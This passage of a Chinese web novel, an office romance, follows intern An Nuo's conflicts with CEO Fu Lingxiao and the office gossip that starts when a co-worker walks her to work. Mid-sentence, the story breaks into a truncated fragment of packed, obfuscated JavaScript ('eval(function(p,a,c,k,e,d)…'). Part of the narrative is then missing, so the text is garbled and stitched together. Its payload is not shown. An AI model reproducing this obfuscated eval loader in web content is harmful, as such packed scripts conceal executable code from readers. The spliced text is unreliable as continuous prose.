第三次送上咖啡时,傅凌霄说: “还是太淡了。” 第四次,傅凌霄: “这回有点苦。” 第五次,安诺实在忍不下去了。 人都说事不过三,可傅凌霄连着折腾了她5次。 整整5次。 忍无可无,无需再忍。 “碰”的一声响,安诺把咖啡杯重重砸在傅凌霄的办公桌上。 “直说吧,我到底哪里惹着你了?” 她厉声质问道。 25. 第25章(双更合一) 问话时,杯子碎了,咖啡洒了,办公室里的气氛也降至到了冰点。 浓浓的咖啡味充斥着整间办公室,似是硝烟在弥漫。 对峙中,两人目光相撞,谁也不让着谁。 安诺是火,怒意中烧。 傅凌霄是冰雪,静默阴冷。 不知道过了多久,傅凌霄忽地扯唇一笑,言辞讥讽。 “怎么,觉得委屈了?” 安诺知道傅凌霄纯粹是在明知故问。 “你说呢?”她不服气地反问回去,手心掐着手心。 “那你可以选择离开。”某人冰冷地回答。 他就是那么四平八稳地坐在办公位上,一瞬不瞬地看着她。 这下安诺可算是彻底明白过来了。 “所以,这就是你今天一直刁难我的目的?” “呵。”女孩冷笑一声,越想越觉得可笑,“堂堂一个集团公司总裁,看不惯我你可以直说啊,大可不必用这种恶心又低劣的手段折腾我。” “低劣?”傅凌霄打断她。 薄唇微勾,似笑非笑的。 “这世界上没有比欺骗更低劣的事情。” 安诺一下卡住。 欺骗? 她什么时候欺骗他傅凌霄了? 两秒后,女孩还是没弄不明白傅凌霄口中的欺骗是什么意思,只觉得傅凌霄这人莫名其妙得很。 他莫名其妙地发疯,她可不想跟着他一起胡闹。 “总之…” 安诺最后义正言辞地下结论道: “我是不会离开的,我凭什么要离开。这是我面试三次才得到的实习工作。你知道对于一个女大学生来说面试三次意味着什么吗?” 傅凌霄微眯双眼,没接话。 安诺继续往下说: “意味着要来来回回坐6次公交车,一次一个小时,6次就是6个小时,更别说到公司等待面试花费的时间了。而你,浪费了我这么多的时间,还浪费了我12块钱的公交费,现在竟然,竟然上班第一天就让我离开?” 小姑娘越说越激动,生气到说话都喘不匀气了。 “凭什么?你给我个理由?是我工作态度散漫了,还是工作任务没做到位?嗯?” 一连三个反问,直接砸向傅凌霄,后者幽暗的眸子凝视着人,也审察着人。 足足30秒,他看了安诺足足30秒,期间一句话都没说。 期间,没人知道他在心里擅自揣度着什么。 久了,安诺变得不耐烦起来,单手插腰气不过地再次反问道: “不说话了,怎么,心虚了不成?” 傅凌霄缓缓地抬眸。 无论安诺多么的气急败坏,他总是一副气定神闲的模样。 “好,真心想在这里工作的话那就好好工作,至于其他,那我只能奉劝你……不可能。” 他平静地放话道。 安诺却听蒙了。 至于其他是什么意思? 难不成在他傅凌霄的眼里,她进傅氏集团其实是对他另有所图? 图他什么? 钱,还是人? 安诺莫名地想笑。 “求求您放宽心吧,我是绝对不会喜欢你的。” 她冲人最后放话道。 傅凌霄回她:“最好是这样。” --- “好,真心想在这里工作的话那就好好工作,至于其他,那我只能奉劝你……不可能。” 因为傅凌霄的这句警告,安诺连着一个星期都小心翼翼的,对待工作她不敢懈怠一点,更不敢犯半点错误。 每天她总是第一个到达办公室,到下班时,看大家都开始收拾东西了她才敢整理手头上的事情准备下班。 但是,“至于其他,那我只能奉劝你,不可能。” 短短的半句话,反反复复地在安诺脑海中循环播放了一个星期。 这天也不例外。 下班去吃烤肉的时候,安诺一直冥思苦想着“至于其他”这四个字里到底隐含的是什么。 关于傅凌霄这个人,她能想到的无非还是那两样东西。 钱和人。 又或者,两样都有。 他不会真的以为她贪图富贵,所以故意设法进公司勾引他的吧? “呵。”安诺笑出声。 此时,她和许晓筱以及诺宝正在烤肉店里吃烧烤。 诺宝挨着安诺坐着,许晓筱一个人坐在烤桌对面,一边烤着牛排一边问安诺:“你笑什么?” 安诺拖着声音无奈道:“没什么。” 许晓筱一听就觉得有事儿。 “你在公司还好吧,没人欺负你吧?”她伸长脖子问。 光这一个问题,都快问八百次了。 每天安诺下班回来的时候,许晓筱准会这么问她一次。 而诺宝则是喜欢八卦她和傅凌霄有没有发生什么有趣事情。还总是拐弯抹角地问她觉得傅凌霄这个人怎么样,符不符合她心中的男朋友形象。 对此,安诺的回答自然是“不符合”,并且她还会特意强调说她这辈子绝对不会喜欢上傅凌霄这种狗男人。 每次听完这些诺宝心都凉了一大截。 但安诺可不管这些。 至于许晓筱对她的百般“关心”,每次安诺的回答都大同小异的。 这次也一样,自尊心作祟下她狐假虎威道: “我是什么人,我可是安诺,是咱们班第一名好不好。你觉得这世界上还有我安诺处理不好的事情?” “所以放心好了,我在公司里好得很,处理起工作来那叫一个游刃有余,不用担心我奥。” 许晓筱每次都不太相信安诺的话,这次也一样,半信半疑的出声:“真的…吗?” 诺宝坐在旁边,吃着烤肉也默默地吐槽了一句:“吹牛大王。” 声音很小,安诺并没有听到。她肯定地回复许晓筱说:“真的。” 其实除了第一天和傅凌霄发生了一些磕磕碰碰以外,之后的日子里傅凌霄确实没再找过她什么麻烦。 但主要也是她这些天以来一直胆小甚微着,没被傅凌霄逮着什么可以拿捏说事儿的把柄。 至于这以后会不会发生什么变故,安诺可保证不了。 想到这里,女孩拿起面前的一罐啤酒默默地喝了一口。 之后一口接着又一口的,没过一会儿,一整罐啤酒被她全喝光了。 许晓筱和诺宝看傻眼了。 怕两人多想,安诺微醺着解释说: “我这是太开心了,我们诺宝宝去了喜欢的托儿园上学,而我呢,也找到了一份喜欢的实习工作。高兴,我这是高兴呢。” 说话时,安诺已经有些醉了。 她酒量不好的。 许晓筱一把夺走她手里的啤酒,“够了啊你,不准喝了。” “要喝的要喝的,高兴呢我。”安诺吵吵着就要伸手抢酒瓶。 “唉。”许晓筱长叹一口气。 没办法,她只好把酒瓶子还回到安诺手里。 最后纵容安诺喝酒的结果是,安诺彻底醉倒在了烤肉店里。 回去的时候,是许晓筱背的安诺。好在安诺并没有发生酒后失态,自始至终像个小猫咪一样靠着许晓筱,没说胡话也还没有呕吐发疯。 晚上睡觉也很安静乖巧。 -- 第二天早上,事情可就惨了。 “啊!” 一道尖锐刺耳的尖叫声,似要掀翻整间公寓。 许晓筱睡在隔壁房间都被惊醒了,慌里慌张地跑过来,一边跑一边嘴里念叨着“咋了咋了”。 安诺坐在床上,顶着一个鸡窝头。 “9点20了!” 许晓筱也才刚睡醒,有些懵,“9点20咋啦?” 安诺哭着喊着:“我上班迟到了啦!” 许晓筱“啊”的一声,这才反应过来。 毫无疑问的,这天安诺上班迟到了,诺宝去托幼园也迟到了。 …… 哭天抢地的,安诺赶到公司时已经迟到40分钟了。 办公室里静悄悄的,所有人都在忙手头上的工作。 偷偷摸摸的,安诺勾着腰蹑手蹑脚地走到自己办公位前,想趁大家不注意的情况下,就这么不声不响地蒙混过去。 哪想李月一眼就瞄见了她,还故意拿她打趣道:“不容易啊安大小姐,竟然也有你迟到的一天。” 她们正式的上班时间是早上9点,公司比较人性化的规定了20分钟的灵活变动时间。 意思是最晚可以迟到20分钟,相应的下午加班20分钟补上便可。 所以办公室里每天都有人迟到,这个迟到几分钟,那个迟到十分钟的。 这么多天来,唯独安诺每次都准时准点到达办公室,没迟到过一次。 这回倒是稀奇了。 “这不迟到还好,一迟到就迟到40分钟。完蛋喏,要被扣工资了哟安诺宝贝。”李月坐对面故意拿安诺开涮。 说得安诺脸上红一阵白一阵的。 虽然知道李月只是故意和她开玩笑而已,但安诺还是希望她少说点,以及,说话声音小一点。 可别被隔壁的傅凌霄听到了。 听到她就完蛋了。 于是安诺着急忙慌地冲李月做了个“嘘”声的动作,最后还双手合实,向人连连“拜托”好几次。 两个动作加起来的心理活动是: “姐姐,我知道错了,您少说点吧,拜托拜托。” 李月比安诺大几岁,是个职场老油子,哪里不知道安诺想表达什么,憋笑着没再继续往下说。 谁知这时忽然一道身影从门外一晃而过。 余光瞄到那道身影时,李月的表情肉眼可见地不自然起来。 安诺疑惑地微眯双眼。 他的工位背对着办公室的大门。 带着浓烈的好奇心,她回头看,事实是什么都没看见,但能清楚的听到一道脚步声由近及远。 最后“咔”的一声,清冽的开门声响起。 根据开门声传过来的距离,没猜错的话,应该是傅凌霄的办公室传来的。 所以刚才是傅凌霄从门口走了过去! 安诺扶额,耳梢有道声音在告诉她: 安诺,你完了,你彻底完蛋了! -- 被抓了个现行的安诺,早上10点给傅凌霄送去了第一杯黑咖啡。 正常来说,这杯咖啡9点半就该出现在傅凌霄的办公室里的。 所以说,即使没有李月那些逗趣玩乐的话,傅凌霄也能通过送咖啡的时间知道安诺迟到的事情。 由此安诺不怪李月。 本来迟到这件事情就是她自己一个人的错,和别人的三言两语无关。 知道自己有错在先,所以安诺想给傅凌霄好好解释一下。 “那个,我昨晚其实,其实多喝了一点酒。” 咖啡递向傅凌霄时,小姑娘借故这么说道。 傅凌霄没接咖啡,闻声抬眸,目光直直地盯着安诺的瞳眸,回应人道:“不重要,结果是你迟到了。” 说完话,人扭头继续浏览电脑里的汇报。 安诺:“我,我真不是故意的。” 语气有些焦急,小脸也拧巴着。 她是真着急了。 因为不想这一次的迟到就毁掉她这一个多星期以来的所有努力。 傅凌霄没接话,仿佛安诺不存在似的,人盯着电脑屏幕,偶尔敲击几下键盘给汇报文件做批注。 这态度,就如同他刚才说的话一样,他并不关心自己的下属为什么而迟到,他只知道迟到就是迟到。 任何解释和理由都是狡辩。 其实一开始安诺端着咖啡进来时,傅凌霄面上的表情就给了她答复。 那时傅凌霄冷冷地扫看她一眼,目光比前两天的任何时候都要冷漠,眼底甚至充满深深的鄙夷。 仿佛在说:这就是你说的认真工作? 安诺咬牙。 很显然,单单因为今天的一次迟到,傅凌霄就将她打入十八层地狱,让其永世不得翻身了。 他还是不信她。 不信他进傅氏集团单纯只是为了好好工作而已。 所以,他迟迟不接过安诺手里的咖啡,就让她一直那么举着。 将其作为惩罚。 对此,安诺也只能咬牙忍着。 她挺后悔的,她就应该像前两天那样,一进来就直接把咖啡放在傅凌霄面前的桌子上,而不是像现在这样举着。 如今为时已晚,她已经错过放咖啡的最好时机了。 约莫1分钟后,胳膊上两道熟悉的酸胀感席卷而来。 安诺只能硬生生地挺着。 有那么几秒钟的时间里,她特别想像上次一样,直接大发雷霆地将咖啡重重摔在傅凌霄的办公桌上。 可一想到诺宝的衣食住行,以及自己在许晓筱面前夸下的那些海口。 最后她什么都做不了,只能默默在心里念咒道: 打工人打工魂,打工人是人上人。 她可不想诺宝跟着她吃不饱穿不暖的,更不想灰溜溜地被赶出傅式集团然后让许晓筱看自己笑话。 不知不觉间,又两分钟过去了。 安诺全身酸痛得只能咬紧唇梢,唇瓣都快咬破了。 这时傅凌霄终于发话道:“放下吧,你可以出去了。” 对此,安诺的心里活动是:去死吧傅凌霄! …… 经过一天的折磨,下午下班回家时,安诺脸上的神色疲惫极了,说话走路都有气无力的。 这些诺宝全都看在眼里。 不行,必须做点什么才行。 小家伙窝在沙发这边,一边仔细观察刚进门的安诺,一边在心里努力思索着新点子。 (二) 第二天,安诺的上班生活彻底变天了。 起因是在她上班的路上,身边莫名其妙的突然多了一个人。也不知道从哪里蹦出来的,就那么一路跟在她身后,脚步不疾不徐的。 她快他就快,她慢他也慢。 安诺不敢回头,只能透过街头的商店玻璃隐隐约约瞥见自己身后有人。 至于来者长什么样子?她看不清楚,只能估摸出一个大概的轮廓。 “这人为什么追我啊?” “我又没有急支糖浆。” 安诺在心里暗诽道。 虽然听着有些打趣意味,其实她害怕得都要哭了。 怕那人来意不善。 劫财又劫色。 算了,还是逃吧。 最后安诺真撒腿跑了起来。 却不想身后的人忽然朝她大喊道:“姐。” 嗯!? 安诺耳朵一瞬微动,逃跑的脚步随着慢了许多。 这声音听着怎么有点熟悉啊? 正疑惑着,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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安诺:“……好好好,你说什么就是什么,怪我行了吧。” 陈珉硕:“确实,确实怪你。怪你腿太长了。” 安诺:“……” …… 后来,就这么不知不觉的,安诺从一个人上下班变成了陈珉硕陪她一起上下班,连着两三天都是这个样子。 刚开始,陈珉硕还算规矩,只是上下班的时候会简单发微信问安诺在哪里,然后等着安诺一起同路。 这时候的安诺也没多想,慢慢的也就习惯了陈珉硕等自己的这件事情。 可到后来,陈珉硕变得越发积极主动起来。那热情得让安诺根本招架不住半点。 比如这天早上。 “姐,吃早饭了吗?” “吃了。” “真吃了?” “真吃了。” “好吧,以后你先别吃,等我和你一起吃吧。” 安诺:“…!!!” 等她还没反应过来时,陈珉硕又上强度道: “姐,中午你吃啥,我给你点外卖送过去吧?” 安诺又一次:“?!!” 好不容易回神后,她急忙拒绝道:“额,这个这个...还是不用了吧。” 陈珉硕却说:“黄焖鸡,还是鸡公煲?” 大有一副逼人就范的意思。 安诺没辙了,只好应声道:“好吧,就黄焖□□。” 此时,两人正走在蜿蜒曲折的商业小巷子里。 和往日一样,陈珉硕和她一起去上班。 早上八点多,路边的各种早餐铺子如火如荼。 面馆,包子店全都蒸汽腾腾的,香味扑鼻。 以前安诺路过这些铺子时,她总会感叹这才是烟火生活嘛。 今天却是除了拘谨还是拘谨,根本没有半点感受烟火气息的心思。 她总觉得今天陈珉硕哪里怪怪的。 憋了会儿,她旁敲侧击地提议道: “那个小硕啊,你家又不在这附近,要不以后你就不用每天和我一起上下班了吧?多麻烦啊。” 结果小硕想都不想地拒绝道:“不行。” 安诺迷惑:“为啥呀?” 声音都拔高了好几度,明显那不是她心里所期待的答案。 这时小硕又抛出一个蜜汁答案回答说: “因为我要随时随地的确保你的安全。” 安诺:!!! 骤然之间,鸡皮疙瘩掉一地。 现在的小男生都这么尬的吗? …… 中午,小硕真点了黄焖鸡给安诺送上去。可把办公室里的李月孟子潇几个羡慕坏了。 “哇哦,爱心午餐,这也太浪漫了吧。”小月故意在那边起哄道。 窗户边上的孟子潇也来凑热闹:“不得了了不得了了,别看安诺年纪最小但人最先谈上恋爱了。” 安诺一听,瞬间小脸通红通红的。 陈珉硕站在旁边,嘴角抿着笑,鬼精鬼精的似乎不准备解释什么。急得安诺只好自己亲自出马撇清关系道: “不是,我们不是你们想的那种关系。我跟小硕真的什么都没有。” 之前安诺和陈珉硕只是会在上下班的路上多聊几句,到公司碰面之时,两人十分自觉地公事公办,没有任何逾矩之举。所以才没有引来李月等人的特别关注。 今天陈珉硕跟吃了熊心豹子胆似的,也不知道到底是那根筋不对,非要执意给安诺送午饭上来。 这下好了,办公室谣言四起,每个人说着笑着闹的那叫一个不亦乐乎。 “宝贝,别解释了,解释就是掩饰,掩饰就是事实。”李月边说边笑,一脸看戏不嫌事大的逗趣儿模样。 孟子潇继续跟哨:“就是就是。” 安诺:“……” 服啦服啦,简直服啦。 吴箐拿完外卖回来,正好撞见办公室的这番闹腾,人迷惑地问了一句: “这是……” 她其实想问的是这是怎么了,干嘛这么热闹? 结果孟子潇上去就介绍陈珉硕说:“这是咱妹夫。” 安诺:“啥!” 差点一口气没提上来。 陈珉硕却是一脸开心样,耳朵红红的,嘴角抿着,总憋不住地直抽抽。 就他哪点小心思,根本藏不住一点。 此时,所有人都没注意到门口晃过去了两道黑影。 而他们那些打趣的玩笑话,也稀稀疏疏地落进那两人的耳朵里不少。 “噗……”江西慕快笑死了。 “安诺?那不是你上次说的女孩吗?” 长廊里,傅凌霄走在最前面,没做声。 他的很多事情江西慕都知道,包括安诺进公司,以及许晓筱跑到公司地下车库说诺宝是他孩子的事情。 这知道得越多,江西慕就越是觉得这事儿吧...简直是好笑。 “你不是说那女孩是故意接近你才进公司的吗?怎么现在……” “噗。”实在没忍住,江西慕又笑了下,笑完继续道: “怎么现在人自己先谈起恋爱来了啊?” 傅凌霄没说话,只是脚下的步子莫名其妙地走得更快了,留下的背影也是冷厉得很。 令人异常发怵。